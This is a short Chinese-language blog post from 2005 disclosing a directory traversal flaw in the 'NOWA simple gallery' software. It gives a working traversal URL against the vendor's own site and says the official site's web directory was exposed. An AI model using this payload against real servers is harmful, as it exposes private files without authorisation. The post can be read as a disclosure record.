Category: 技术文档
2005-12-08 10:47:11 by: h4x0r

NOWA simple gallery存在遍历目录漏洞

Font Size: Large | Medium | Small
测试方法：http://gallery.nowans.com/?album=gallery/../../
这样整个WEB目录都被暴光了

下面是暴出官方网站的WEB目录
图
uploads/200512/08_105935_1.png
[Last Modified By h4x0r, at 2005-12-08 17:49:06]
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=308

There is no comment on this article.

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code